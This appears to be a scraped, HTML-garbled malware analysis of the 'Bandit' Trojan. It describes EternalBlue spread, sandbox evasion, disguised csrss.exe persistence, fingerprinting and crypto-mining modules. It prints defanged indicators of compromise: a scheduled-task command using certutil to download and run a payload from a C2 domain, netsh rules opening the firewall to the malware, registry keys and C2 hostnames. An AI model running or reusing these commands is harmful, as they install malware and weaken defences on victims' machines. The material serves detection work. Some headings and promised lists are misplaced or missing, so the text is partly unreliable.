Type:<\/strong> Trojan<\/p>\n Degree<\/strong> of destruction<\/strong>: high<\/p>\n Prevalence:<\/strong> high<\/p>\n Names of the malware:<\/strong><\/p>\n Trojans are malware types that introduced themselves as healthy and legal software and acted similarly to useful and applicable software but cause many destructions to the system when executing. The downloaded software from the internet, placing HTML text, attaching it to an email, etc. are ways that trojans use to enter the system. Contrary to viruses and computer worms, Trojans are not reproducible.<\/p>\n Bandit is a Trojan that hides its files and processes using low-level techniques of Windows (kernel). This malware uses EternalBlue for distribution. Then, it will download different modules connected to the command and control server and executes them on the victim’s system.<\/p>\n Performing the technique of identification Sandbox and VM\u00a0<\/strong><\/p>\n The malware tries to execute techniques to understand whether the execution environment is VM or Sandbox. It will stop the execution if it detects the environment.<\/p>\n Malicious sub-key of TestApp registry key<\/strong><\/p>\n As mentioned before, the malware will create a key with the name of TestApp in the HKCU\\software\\microsoft\\TestApp. In this case, the mentioned key has many sub-keys such as the following items (the amounts of this sub-key, especially the server addresses” will possibly be different. Also, in the new type of this malware, it will use random strings such as “dd47a129” in replace of “TestApp”):<\/p>\n Creating the csrss processes<\/strong><\/p>\n The malware will create the C:\\Windows\\rss directory and turns it into a hidden directory, after executing techniques for upgrading the access level. Then, it will copy its file in this path with this name: csrss.exe.<\/p>\n Distribution in the local network\u00a0<\/strong><\/p>\n This malware uses tools related to EternalBlue and DoublePulsar vulnerabilities for distribution. Systems with vulnerable versions detect the SMB protocols at the network level and by using this vulnerability, will execute its malware on it.<\/p>\n Downloading Drivers\u00a0<\/strong><\/p>\n Malware will create and run three drives:<\/p>\n Downloading and executing malware module\u00a0<\/strong><\/p>\n This link is a blank page that in the background will execute a JavaScript library “DetectRTC” with the link of https:\/\/github.com\/muaz-khan\/DetectRTC and analyze the features of WebRTC such as whether the victim’s system has a Microphone, Speaker, Webcam; the number of media systems, the possibility for snapshot, etc. and send the results to the following path:<\/p>\n 4. bot module: this module will register the victim’s system in the malware servers and then will connect it many times. Obtaining a list of active pools of the bitcoin network and connecting with them to perform mining cryptocurrencies on the victim’s service is one of these connections.<\/p>\n\n
What is a Trojan?<\/h3>\n
What is Bandit Trojan?<\/h3>\n
Technical explanation<\/h2>\n
Signs of infection\u00a0<\/strong><\/h3>\n
\n
name<\/strong>\u00a0: ScheduledUpdate<\/code><\/p>\ncommand<\/strong>\u00a0: \"cmd.exe \/C certutil.exe -urlcache \u2013split \u2013f hxxps:\/\/bestblues[.]tech\/app\/app.exe C:\\Users\\User\\AppData\\Local\\Temp\\csrss\\scheduled.exe && C:\\Users\\User\\AppData\\Local\\Temp\\csrss\\scheduled.exe \/31340\"<\/code><\/p>\nscheduled : ONLOGON<\/code><\/p>\nname<\/strong>\u00a0: csrss<\/code><\/p>\ncommand<\/strong>\u00a0: \"C:\\Windows\\rss\\csrss.exe\"<\/code><\/p>\nscheduled<\/strong>\u00a0: ONLOGON<\/code><\/p>\n\n
Cmd.exe \/c \u201cnetsh advfirewall firewall add rule name=\u201dcsrss\u201d dir=\u201din\u201d action=allow program=\u201dC:\\Windows\\rss\\csrss.exe\u201d enable=yes\u201d<\/code><\/p>\nCmd.exe \/c \u201cnetsh advfirewall firewall add rule name=\u201dcsrss\u201d dir=\u201din\u201d action=allow program=\u201d%AppData%Roaming\\EpicNet Inc\\CloudNet\\cloudnet.exe\u201d enable=yes\u201d<\/code><\/p>\n\n
\u2022\u00a0Files\/Directories<\/strong>:<\/code><\/p>\nC:\\Windows<\/code><\/p>\nC:\\Windows\\rss<\/code><\/p>\nAppData%Roaming\\EpicNet Inc\\CloudNet<\/code><\/p>\nAppData%Local\\Temp\\csrss<\/code><\/p>\nAppData%\\Roaming\\WisprPine<\/code><\/p>\nC:\\Windows\\Windefender<\/code><\/p>\nAppData%Local\\Temp\\Wup<\/code><\/p>\nC:\\Windows\\System32\\drivers<\/code><\/p>\n\u2022\u00a0Processes<\/strong>: csrss.exe , cloudnet.exe , windefender.exe<\/code><\/p>\nExplaining the action\u00a0<\/strong><\/h3>\n
Key : HKCU\\software\\microsoft\\TestApp<\/code><\/p>\nSubkeys :<\/code><\/p>\nUuid = \"\"<\/code><\/p>\ncommand = \"\"<\/code><\/p>\nFirstInstallDate = \"56268135e\"<\/code><\/p>\nServiceVersion = \"\"<\/code><\/p>\nSC = \"\"<\/code><\/p>\nPGDSE = \"\"<\/code><\/p>\nVC = \"\"<\/code><\/p>\nServerVersion = \"94\"<\/code><\/p>\nCDN = \"hxxps:\/\/bestblues[.]tech\"<\/code><\/p>\nPP = \"\"<\/code><\/p>\nname = \"SmallSea\"<\/code><\/p>\nservers = \"hxxps;\/\/whitecontroller[.]com , sleepingcontrol[.]com, venoxcontrol[.]com, okonewwacon[.]com\"<\/code><\/p>\nfirewall = \"\"<\/code><\/p>\ndefender = \"\"<\/code><\/p>\n\n
\n
hxxps:\/\/swebgames[.]site\/test.php?uuid=a1058f4a-2f08-4679-baf2-ae6c436cfaa5&browser=chrome<\/code><\/p>\nhxxps:\/\/swebgames[.]site\/fp.php<\/code><\/p>\nHow to deal with it and disinfect the system<\/h2>\n